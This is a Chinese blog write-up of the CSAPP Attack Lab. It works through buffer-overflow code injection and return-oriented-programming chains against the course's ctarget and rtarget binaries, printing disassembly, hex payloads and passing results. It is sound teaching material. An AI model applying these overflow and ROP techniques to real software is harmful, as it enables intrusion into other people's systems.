CSAPP 深入理解计算机 Attack Lab实验纪录

Attack Lab实验纪录

Intro

This file contains materials for one instance of the attacklab.

Files:

ctarget

Linux binary with code-injection vulnerability. To be used for phases
1-3 of the assignment.

rtarget

Linux binary with return-oriented programming vulnerability. To be
used for phases 4-5 of the assignment.

 cookie.txt

Text file containing 4-byte signature required for this lab instance.

 farm.c

Source code for gadget farm present in this instance of rtarget. You
can compile (use flag -Og) and disassemble it to look for gadgets.

 hex2raw

Utility program to generate byte sequences. See documentation in lab
handout.

开始实验前请先阅读attacklab.pdf文档

Part I: Code Injection Attacks

Level 1

Level 1的目的是对test进行注入攻击,将原先ret返回地址的导向touch1()函式

先查看原先的程式码:

void test(){    int val;    val = getbuf();    printf("No exploit. Getbuf returned 0x%x\n", val);}

然后我们看看getbuf()的实现,其实他的功能类似于gets(),直到遇上\nEOF停止,这点适合我们进行攻击

unsigned getbuf(){    char buf[BUFFER_SIZE];    Gets(buf);    return 1;}

透过./ctarget -q执行ctarget后藉由输入字串进行注入攻击

void touch1(){    vlevel = 1;    printf("Touch1!: You called touch1()\n");    validate(1);    exit(0);}

使用objdump -d ./ctarget > ctarget.s反组译catarget

test()的组合语言程式码:

0000000000401968 <test>:  401968:48 83 ec 08          sub    $0x8,%rsp  40196c:b8 00 00 00 00       mov    $0x0,%eax  401971:e8 32 fe ff ff       callq  4017a8 <getbuf>  401976:89 c2                mov    %eax,%edx  401978:be 88 31 40 00       mov    $0x403188,%esi  40197d:bf 01 00 00 00       mov    $0x1,%edi  401982:b8 00 00 00 00       mov    $0x0,%eax  401987:e8 64 f4 ff ff       callq  400df0 <__printf_chk@plt>  40198c:48 83 c4 08          add    $0x8,%rsp  401990:c3                   retq 

getbuf()的组合语言程式码:

00000000004017a8 <getbuf>:  4017a8:48 83 ec 28          sub    $0x28,%rsp  4017ac:48 89 e7             mov    %rsp,%rdi  4017af:e8 8c 02 00 00       callq  401a40 <Gets>  4017b4:b8 01 00 00 00       mov    $0x1,%eax  4017b9:48 83 c4 28          add    $0x28,%rsp  4017bd:c3                   retq 

touch1()的组合语言程式码:

00000000004017c0 <touch1>:  4017c0:48 83 ec 08          sub    $0x8,%rsp  4017c4:c7 05 0e 2d 20 00 01 movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>  4017cb:00 00 00   4017ce:bf c5 30 40 00       mov    $0x4030c5,%edi  4017d3:e8 e8 f4 ff ff       callq  400cc0 <puts@plt>  4017d8:bf 01 00 00 00       mov    $0x1,%edi  4017dd:e8 ab 04 00 00       callq  401c8d <validate>  4017e2:bf 00 00 00 00       mov    $0x0,%edi  4017e7:e8 54 f6 ff ff       callq  400e40 <exit@plt>

从上面的结果不难推测出,最终要将返回地址複写成0x 00 00 00 00 00 40 17 c0,此处要特别注意机器是大端还是小端

所以调用getbuf()后栈的状态类似:

我们需要填充40个任意字元,然后再依序填入c0 17 40 00 00 00 00 00

官方文件有提到HEX2TRAW可以将文件中的hex值转换成字元(用空白键区分),然后将字串内容输入给ctarget。因此只需要将

00 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 00c0 17 40 00 00 00 00 00

另存成touch1.txt(名字自己取),然后执行./hex2raw < touch1.txt | ./ctarget -q语句就可以了

Cookie: 0x59b997faType string:Touch1!: You called touch1()Valid solution for level 1 with target ctargetPASS: Would have posted the following:user idbovikcourse15213-f15labattacklabresult1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00

Level 2

Level 2不仅要我们进行注入攻击,还需要传入参数val来达到特殊目的

首先我们来看touch2的C与asm程式码,需要使得条件val == cookie成立,才能成功通过

cookie位于档案cookie.txt中,其值为0x59b997fa

void touch2(unsigned val){    vlevel = 2;    if(val == cookie){        printf("Touch2!: You called touch2(0x%.8x)\n", val);        validate(2);    }else{        printf("Misfire: You called touch2(0x%.8x)\n", val);        fail(2);    }    exit(0);}
00000000004017ec <touch2>:  4017ec:48 83 ec 08          sub    $0x8,%rsp  4017f0:89 fa                mov    %edi,%edx  4017f2:c7 05 e0 2c 20 00 02 movl   $0x2,0x202ce0(%rip)        # 6044dc <vlevel>  4017f9:00 00 00   4017fc:3b 3d e2 2c 20 00    cmp    0x202ce2(%rip),%edi        # 6044e4 <cookie>  401802:75 20                jne    401824 <touch2+0x38>  401804:be e8 30 40 00       mov    $0x4030e8,%esi  401809:bf 01 00 00 00       mov    $0x1,%edi  40180e:b8 00 00 00 00       mov    $0x0,%eax  401813:e8 d8 f5 ff ff       callq  400df0 <__printf_chk@plt>  401818:bf 02 00 00 00       mov    $0x2,%edi  40181d:e8 6b 04 00 00       callq  401c8d <validate>  401822:eb 1e                jmp    401842 <touch2+0x56>  401824:be 10 31 40 00       mov    $0x403110,%esi  401829:bf 01 00 00 00       mov    $0x1,%edi  40182e:b8 00 00 00 00       mov    $0x0,%eax  401833:e8 b8 f5 ff ff       callq  400df0 <__printf_chk@plt>  401838:bf 02 00 00 00       mov    $0x2,%edi  40183d:e8 0d 05 00 00       callq  401d4f <fail>  401842:bf 00 00 00 00       mov    $0x0,%edi  401847:e8 f4 f5 ff ff       callq  400e40 <exit@plt>

有此可知,我们可以总结出:

不能直接跳转到touch2需要修改%rdi值(首参数)需要在将程式码透过字串方式注入到栈分配的空间中需要知道程式码的字节码型式

首先,我们需要知道返回地址前的%rsp地址,目的是为了知道输入字串的储存位置

透过gdb ./ctarget进行gdb除错,然后b main ,b test上断点后执行r -q开始跟蹤代码。进入getbuf()函式,并打印其暂存器资讯,可以发现栈地址的变化0x5561dca00x5561dc78

因此我们可以在栈中设计整个攻击流程: 反回到原先栈分配的空间中,执行我们注入的程式码,最后再返回touch2

有了这个想法,就可以清楚的设计注入程式码:

movl $0x59b997fa, %edipushq $0x4017ecret

将上述程式码储存成test.s然后透过组译再反组译得到字节码

gcc -c test.sobjdump -d test.s > test.d
test.o      档案格式 elf64-x86-64.text 区段的反组译:0000000000000000 <.text>:   0:bf fa 97 b9 59       mov    $0x59b997fa,%edi   5:68 ec 17 40 00       pushq  $0x4017ec   a:c3                   retq   
bf fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0078 dc 61 55 00 00 00 00

最后只要将字节码写入touch2.txt中,然后./hex2raw < touch2.txt | ./ctarget -q执行就可以顺利通过

注意地址与字节码的顺序

Cookie: 0x59b997faType string:Touch2!: You called touch2(0x59b997fa)Valid solution for level 2 with target ctargetPASS: Would have posted the following:user idbovikcourse15213-f15labattacklabresult1:PASS:0xffffffff:ctarget:2:BF FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 

Level 3

Level 3与Level 2类似,都要求藉由注入将参数传入特定函式,只不过Level 3参数为字串类型。目标跳转函式为touch3,其中touch3中又调用了hexmatch:

int hexmatch(unsigned val, char *sval){    char cbuf[110];    char *s = cbuf + random()%100;    sprintf(s, "%.8x", val);    return strncmp(sval, s, 9) == 0;}void touch3(char *sval){    vlevel = 3;    if(hexmatch(cookie, sval)){        printf("Touch3!: You called touch3(\"%s\")\n", sval);        validate(3);    }else{        printf("Misfire: You called touch3(\"%s\")\n", sval);        fail(3);    }    exit(0);}

照惯例我们将C代码转换成组合语言:

000000000040184c <hexmatch>:  40184c:41 54                push   %r12  40184e:55                   push   %rbp  40184f:53                   push   %rbx  401850:48 83 c4 80          add    $0xffffffffffffff80,%rsp  401854:41 89 fc             mov    %edi,%r12d  401857:48 89 f5             mov    %rsi,%rbp  40185a:64 48 8b 04 25 28 00 mov    %fs:0x28,%rax  401861:00 00   401863:48 89 44 24 78       mov    %rax,0x78(%rsp)  401868:31 c0                xor    %eax,%eax  40186a:e8 41 f5 ff ff       callq  400db0 <random@plt>  40186f:48 89 c1             mov    %rax,%rcx  401872:48 ba 0b d7 a3 70 3d movabs $0xa3d70a3d70a3d70b,%rdx  401879:0a d7 a3   40187c:48 f7 ea             imul   %rdx  40187f:48 01 ca             add    %rcx,%rdx  401882:48 c1 fa 06          sar    $0x6,%rdx  401886:48 89 c8             mov    %rcx,%rax  401889:48 c1 f8 3f          sar    $0x3f,%rax  40188d:48 29 c2             sub    %rax,%rdx  401890:48 8d 04 92          lea    (%rdx,%rdx,4),%rax  401894:48 8d 04 80          lea    (%rax,%rax,4),%rax  401898:48 c1 e0 02          shl    $0x2,%rax  40189c:48 29 c1             sub    %rax,%rcx  40189f:48 8d 1c 0c          lea    (%rsp,%rcx,1),%rbx  4018a3:45 89 e0             mov    %r12d,%r8d  4018a6:b9 e2 30 40 00       mov    $0x4030e2,%ecx  4018ab:48 c7 c2 ff ff ff ff mov    $0xffffffffffffffff,%rdx  4018b2:be 01 00 00 00       mov    $0x1,%esi  4018b7:48 89 df             mov    %rbx,%rdi  4018ba:b8 00 00 00 00       mov    $0x0,%eax  4018bf:e8 ac f5 ff ff       callq  400e70 <__sprintf_chk@plt>  4018c4:ba 09 00 00 00       mov    $0x9,%edx  4018c9:48 89 de             mov    %rbx,%rsi  4018cc:48 89 ef             mov    %rbp,%rdi  4018cf:e8 cc f3 ff ff       callq  400ca0 <strncmp@plt>  4018d4:85 c0                test   %eax,%eax  4018d6:0f 94 c0             sete   %al  4018d9:0f b6 c0             movzbl %al,%eax  4018dc:48 8b 74 24 78       mov    0x78(%rsp),%rsi  4018e1:64 48 33 34 25 28 00 xor    %fs:0x28,%rsi  4018e8:00 00   4018ea:74 05                je     4018f1 <hexmatch+0xa5>  4018ec:e8 ef f3 ff ff       callq  400ce0 <__stack_chk_fail@plt>  4018f1:48 83 ec 80          sub    $0xffffffffffffff80,%rsp  4018f5:5b                   pop    %rbx  4018f6:5d                   pop    %rbp  4018f7:41 5c                pop    %r12  4018f9:c3                   retq   
00000000004018fa <touch3>:  4018fa:53                   push   %rbx  4018fb:48 89 fb             mov    %rdi,%rbx  4018fe:c7 05 d4 2b 20 00 03 movl   $0x3,0x202bd4(%rip)        # 6044dc <vlevel>  401905:00 00 00   401908:48 89 fe             mov    %rdi,%rsi  40190b:8b 3d d3 2b 20 00    mov    0x202bd3(%rip),%edi        # 6044e4 <cookie>  401911:e8 36 ff ff ff       callq  40184c <hexmatch>  401916:85 c0                test   %eax,%eax  401918:74 23                je     40193d <touch3+0x43>  40191a:48 89 da             mov    %rbx,%rdx  40191d:be 38 31 40 00       mov    $0x403138,%esi  401922:bf 01 00 00 00       mov    $0x1,%edi  401927:b8 00 00 00 00       mov    $0x0,%eax  40192c:e8 bf f4 ff ff       callq  400df0 <__printf_chk@plt>  401931:bf 03 00 00 00       mov    $0x3,%edi  401936:e8 52 03 00 00       callq  401c8d <validate>  40193b:eb 21                jmp    40195e <touch3+0x64>  40193d:48 89 da             mov    %rbx,%rdx  401940:be 60 31 40 00       mov    $0x403160,%esi  401945:bf 01 00 00 00       mov    $0x1,%edi  40194a:b8 00 00 00 00       mov    $0x0,%eax  40194f:e8 9c f4 ff ff       callq  400df0 <__printf_chk@plt>  401954:bf 03 00 00 00       mov    $0x3,%edi  401959:e8 f1 03 00 00       callq  401d4f <fail>  40195e:bf 00 00 00 00       mov    $0x0,%edi  401963:e8 d8 f4 ff ff       callq  400e40 <exit@plt>

整体思路跟Level 2很像,我们只要将返回地址改写,然后将指定参数複製到%rdi中,但官方文件上的这句话很耐人寻味

When functions hexmatch and strncmp are called, they push data onto the stack, overwriting
portions of memory that held the buffer used by getbuf. As a result, you will need to be careful
where you place the string representation of your cookie.

当调用touch3, hexmatch, strncmp时,原先透过buf存放在栈空间上的代码可能无预警的被覆写(作为其他函式的局部变数、暂存器、参数等等)

也就是说Level 3的重点在于目标字串该放在哪里才不会被影响

从Level 2得知getbuf()过程中栈的变化为0x5561dca00x5561dc780x5561dca0,也就是说透过ret跳转时的栈地址为0x5561dca0,我们先假设注入代码成功将字串地址传给%rdi,然后跳转到touch3

过程中会遇到一些strncmp()、返回地址保存与callee-save的入栈操作,这些操作直接影响我们输入字串的倒数几个字元

然后hexmatch中的cbuf[110]更是如此,它的组语指令add $0xffffffffffffff80,%rsp直接使%rsp无符号溢出,其实作用就是将%rsp向下减去0x80

总和上述两个操作,若将字串存放在0x5561dca0 ~0x5561dc78区间中,代码将会被污染。唯一的解法就是将字串存放在这个範围以外

综观getbuf()跳到touch3这个过程,只有在函式结束时会将%rsp向上调整,也就是说在strncmp()比较过程中,0x5561dca0以上的栈空间基本上是安全的,我们需要将字串存放在这里

接着编写注入代码,将字串地址存到%rdi中,然后将touch3地址入栈并返回。这里过程跟Level 2一样,将结果转成字节码

movq $0x5561dca8, %rdipushq $0x4018faret
test.o      档案格式 elf64-x86-64.text 区段的反组译:0000000000000000 <.text>:   0:48 c7 c7 a8 dc 61 55 mov    $0x5561dca8,%rdi   7:68 fa 18 40 00       pushq  $0x4018fa   c:c3                   retq 

最后把字节码依序填入touch3.txt中,保存后执行./hex2raw < touch3.txt | ./ctarget -q语句

48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0078 dc 61 55 00 00 00 0035 39 62 39 39 37 66 61

成功通过测试

Cookie: 0x59b997faType string:Touch3!: You called touch3("59b997fa")Valid solution for level 3 with target ctargetPASS: Would have posted the following:user idbovikcourse15213-f15labattacklabresult1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 

Part II: Return-Oriented Programming

Part II要求我们执行rtarget,并将函式引导到指定函适中,整体过程与前面几个phase相似,不过由于可执行区的限制,我们不能直接执行注入的字串,而要使用ROP的方式将程式导向已存在并编译过的内部程式

我们必须使用已存在的函式巧妙的完成目的。我们可以把一条语句的字节码形式切分成c3结尾的指令(文档称之为gadget),藉此组合出完全不同功能

首先将rtarget反组译成rtarget.s,在stasrt_farm~end_farm区间中可以找到测试用函式(来自farm.c)

0000000000401994 <start_farm>:  401994:b8 01 00 00 00       mov    $0x1,%eax  401999:c3                   retq   000000000040199a <getval_142>:  40199a:b8 fb 78 90 90       mov    $0x909078fb,%eax  40199f:c3                   retq   00000000004019a0 <addval_273>:  4019a0:8d 87 48 89 c7 c3    lea    -0x3c3876b8(%rdi),%eax  4019a6:c3                   retq   00000000004019a7 <addval_219>:  4019a7:8d 87 51 73 58 90    lea    -0x6fa78caf(%rdi),%eax  4019ad:c3                   retq   00000000004019ae <setval_237>:  4019ae:c7 07 48 89 c7 c7    movl   $0xc7c78948,(%rdi)  4019b4:c3                   retq   00000000004019b5 <setval_424>:  4019b5:c7 07 54 c2 58 92    movl   $0x9258c254,(%rdi)  4019bb:c3                   retq   00000000004019bc <setval_470>:  4019bc:c7 07 63 48 8d c7    movl   $0xc78d4863,(%rdi)  4019c2:c3                   retq   00000000004019c3 <setval_426>:  4019c3:c7 07 48 89 c7 90    movl   $0x90c78948,(%rdi)  4019c9:c3                   retq   00000000004019ca <getval_280>:  4019ca:b8 29 58 90 c3       mov    $0xc3905829,%eax  4019cf:c3                   retq   00000000004019d0 <mid_farm>:  4019d0:b8 01 00 00 00       mov    $0x1,%eax  4019d5:c3                   retq   00000000004019d6 <add_xy>:  4019d6:48 8d 04 37          lea    (%rdi,%rsi,1),%rax  4019da:c3                   retq   00000000004019db <getval_481>:  4019db:b8 5c 89 c2 90       mov    $0x90c2895c,%eax  4019e0:c3                   retq   00000000004019e1 <setval_296>:  4019e1:c7 07 99 d1 90 90    movl   $0x9090d199,(%rdi)  4019e7:c3                   retq   00000000004019e8 <addval_113>:  4019e8:8d 87 89 ce 78 c9    lea    -0x36873177(%rdi),%eax  4019ee:c3                   retq   00000000004019ef <addval_490>:  4019ef:8d 87 8d d1 20 db    lea    -0x24df2e73(%rdi),%eax  4019f5:c3                   retq   00000000004019f6 <getval_226>:  4019f6:b8 89 d1 48 c0       mov    $0xc048d189,%eax  4019fb:c3                   retq   00000000004019fc <setval_384>:  4019fc:c7 07 81 d1 84 c0    movl   $0xc084d181,(%rdi)  401a02:c3                   retq   0000000000401a03 <addval_190>:  401a03:8d 87 41 48 89 e0    lea    -0x1f76b7bf(%rdi),%eax  401a09:c3                   retq   0000000000401a0a <setval_276>:  401a0a:c7 07 88 c2 08 c9    movl   $0xc908c288,(%rdi)  401a10:c3                   retq   0000000000401a11 <addval_436>:  401a11:8d 87 89 ce 90 90    lea    -0x6f6f3177(%rdi),%eax  401a17:c3                   retq   0000000000401a18 <getval_345>:  401a18:b8 48 89 e0 c1       mov    $0xc1e08948,%eax  401a1d:c3                   retq   0000000000401a1e <addval_479>:  401a1e:8d 87 89 c2 00 c9    lea    -0x36ff3d77(%rdi),%eax  401a24:c3                   retq   0000000000401a25 <addval_187>:  401a25:8d 87 89 ce 38 c0    lea    -0x3fc73177(%rdi),%eax  401a2b:c3                   retq   0000000000401a2c <setval_248>:  401a2c:c7 07 81 ce 08 db    movl   $0xdb08ce81,(%rdi)  401a32:c3                   retq   0000000000401a33 <getval_159>:  401a33:b8 89 d1 38 c9       mov    $0xc938d189,%eax  401a38:c3                   retq   0000000000401a39 <addval_110>:  401a39:8d 87 c8 89 e0 c3    lea    -0x3c1f7638(%rdi),%eax  401a3f:c3                   retq   0000000000401a40 <addval_487>:  401a40:8d 87 89 c2 84 c0    lea    -0x3f7b3d77(%rdi),%eax  401a46:c3                   retq   0000000000401a47 <addval_201>:  401a47:8d 87 48 89 e0 c7    lea    -0x381f76b8(%rdi),%eax  401a4d:c3                   retq   0000000000401a4e <getval_272>:  401a4e:b8 99 d1 08 d2       mov    $0xd208d199,%eax  401a53:c3                   retq   0000000000401a54 <getval_155>:  401a54:b8 89 c2 c4 c9       mov    $0xc9c4c289,%eax  401a59:c3                   retq   0000000000401a5a <setval_299>:  401a5a:c7 07 48 89 e0 91    movl   $0x91e08948,(%rdi)  401a60:c3                   retq   0000000000401a61 <addval_404>:  401a61:8d 87 89 ce 92 c3    lea    -0x3c6d3177(%rdi),%eax  401a67:c3                   retq   0000000000401a68 <getval_311>:  401a68:b8 89 d1 08 db       mov    $0xdb08d189,%eax  401a6d:c3                   retq   0000000000401a6e <setval_167>:  401a6e:c7 07 89 d1 91 c3    movl   $0xc391d189,(%rdi)  401a74:c3                   retq   0000000000401a75 <setval_328>:  401a75:c7 07 81 c2 38 d2    movl   $0xd238c281,(%rdi)  401a7b:c3                   retq   0000000000401a7c <setval_450>:  401a7c:c7 07 09 ce 08 c9    movl   $0xc908ce09,(%rdi)  401a82:c3                   retq   0000000000401a83 <addval_358>:  401a83:8d 87 08 89 e0 90    lea    -0x6f1f76f8(%rdi),%eax  401a89:c3                   retq   0000000000401a8a <addval_124>:  401a8a:8d 87 89 c2 c7 3c    lea    0x3cc7c289(%rdi),%eax  401a90:c3                   retq   0000000000401a91 <getval_169>:  401a91:b8 88 ce 20 c0       mov    $0xc020ce88,%eax  401a96:c3                   retq   0000000000401a97 <setval_181>:  401a97:c7 07 48 89 e0 c2    movl   $0xc2e08948,(%rdi)  401a9d:c3                   retq   0000000000401a9e <addval_184>:  401a9e:8d 87 89 c2 60 d2    lea    -0x2d9f3d77(%rdi),%eax  401aa4:c3                   retq   0000000000401aa5 <getval_472>:  401aa5:b8 8d ce 20 d2       mov    $0xd220ce8d,%eax  401aaa:c3                   retq   0000000000401aab <setval_350>:  401aab:c7 07 48 89 e0 90    movl   $0x90e08948,(%rdi)  401ab1:c3                   retq   0000000000401ab2 <end_farm>:  401ab2:b8 01 00 00 00       mov    $0x1,%eax  401ab7:c3                   retq   

attacklab.pdf中有罗列出各种指令的字节表达方式,我们要想办法在rtarget.s中找出它们

Level 4

Phase 4要求我们调用 touch2,并将%rdi赋值成0x59b997fa

void touch2(unsigned val){    vlevel = 2;    if(val == cookie){        printf("Touch2!: You called touch2(0x%.8x)\n", val);        validate(2);    }else{        printf("Misfire: You called touch2(0x%.8x)\n", val);        fail(2);    }    exit(0);}

由此可知整体操作大致需要:

popq 某暂存器movq 某暂存器 %rdi(因为popq %rdirtarget.s中不存在)返回touch2

查找相应的gadgets,发现可以先暂存到%rax

00000000004019a0 <addval_273>:  4019a0:8d 87 48 89 c7 c3    lea    -0x3c3876b8(%rdi),%eax  4019a6:c3                   retq   00000000004019a7 <addval_219>:  4019a7:8d 87 51 73 58 90    lea    -0x6fa78caf(%rdi),%eax  4019ad:c3                   retq   

顺着这个思路编写touch4.txt

00 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 00ab 19 40 00 00 00 00 00 -> popq %raxfa 97 b9 59 00 00 00 00 -> 59b997faa2 19 40 00 00 00 00 00 -> movq %rax %rdiec 17 40 00 00 00 00 00 -> touch2

运行结果

Cookie: 0x59b997faType string:Touch2!: You called touch2(0x59b997fa)Valid solution for level 2 with target rtargetPASS: Would have posted the following:user idbovikcourse15213-f15labattacklabresult1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00 

Level 5

Phase 5要求我们调用 touch3,并将%rdi赋值成字串59b997fa的地址

int hexmatch(unsigned val, char *sval){    char cbuf[110];    char *s = cbuf + random()%100;    sprintf(s, "%.8x", val);    return strncmp(sval, s, 9) == 0;}void touch3(char *sval){    vlevel = 3;    if(hexmatch(cookie, sval)){        printf("Touch3!: You called touch3(\"%s\")\n", sval);        validate(3);    }else{        printf("Misfire: You called touch3(\"%s\")\n", sval);        fail(3);    }    exit(0);}

由此可知整体操作大致需要:

取得%rsp地址取得字串地址相对于%rsp的偏移量将地址存放到%rdi调用touch3

Phase 5麻烦的点在于,某些暂存器操作的gadgetrtarget.s找不到,需要先存放到其他暂存器中

Phase 5建议先把所有语句都写出来,最后在计算偏移量,然后过程中可能会发现设计的语句在farm区不存在,例如movl %eax, %esi

接着我们编写touch5.txt

00 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0006 1a 40 00 00 00 00 00 -> movq %rsp, %rax 取出栈地址(注意这个栈地址是c5 19 40 00 00 00 00 00这行)c5 19 40 00 00 00 00 00 -> movq %rax, %rdiab 19 40 00 00 00 00 00 -> popq %rax48 00 00 00 00 00 00 00 -> 偏移量(0x48/0x8=0x9,栈地址向下9行)42 1a 40 00 00 00 00 00 -> movl %eax, %edx34 1a 40 00 00 00 00 00 -> movl %edx, %ecx13 1a 40 00 00 00 00 00 -> movl %ecx, %esid6 19 40 00 00 00 00 00 -> lea(%rdi, %rsi, 1), %rax 直接使用add_xya2 19 40 00 00 00 00 00 -> movq %rax, %rdifa 18 40 00 00 00 00 00 -> touch335 39 62 39 39 37 66 6100 00 00 00 00 00 00 00

执行结果

Cookie: 0x59b997faType string:Touch3!: You called touch3("59b997fa")Valid solution for level 3 with target rtargetPASS: Would have posted the following:        user id bovik        course  15213-f15        lab     attacklab        result  1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1A 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 42 1A 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 

资源

https://github.com/WeiLin66/CMU-15-213/tree/main/Labs/attack-lab


关于作者: 网站小编

码农网专注IT技术教程资源分享平台,学习资源下载网站,58码农网包含计算机技术、网站程序源码下载、编程技术论坛、互联网资源下载等产品服务,提供原创、优质、完整内容的专业码农交流分享平台。

热门文章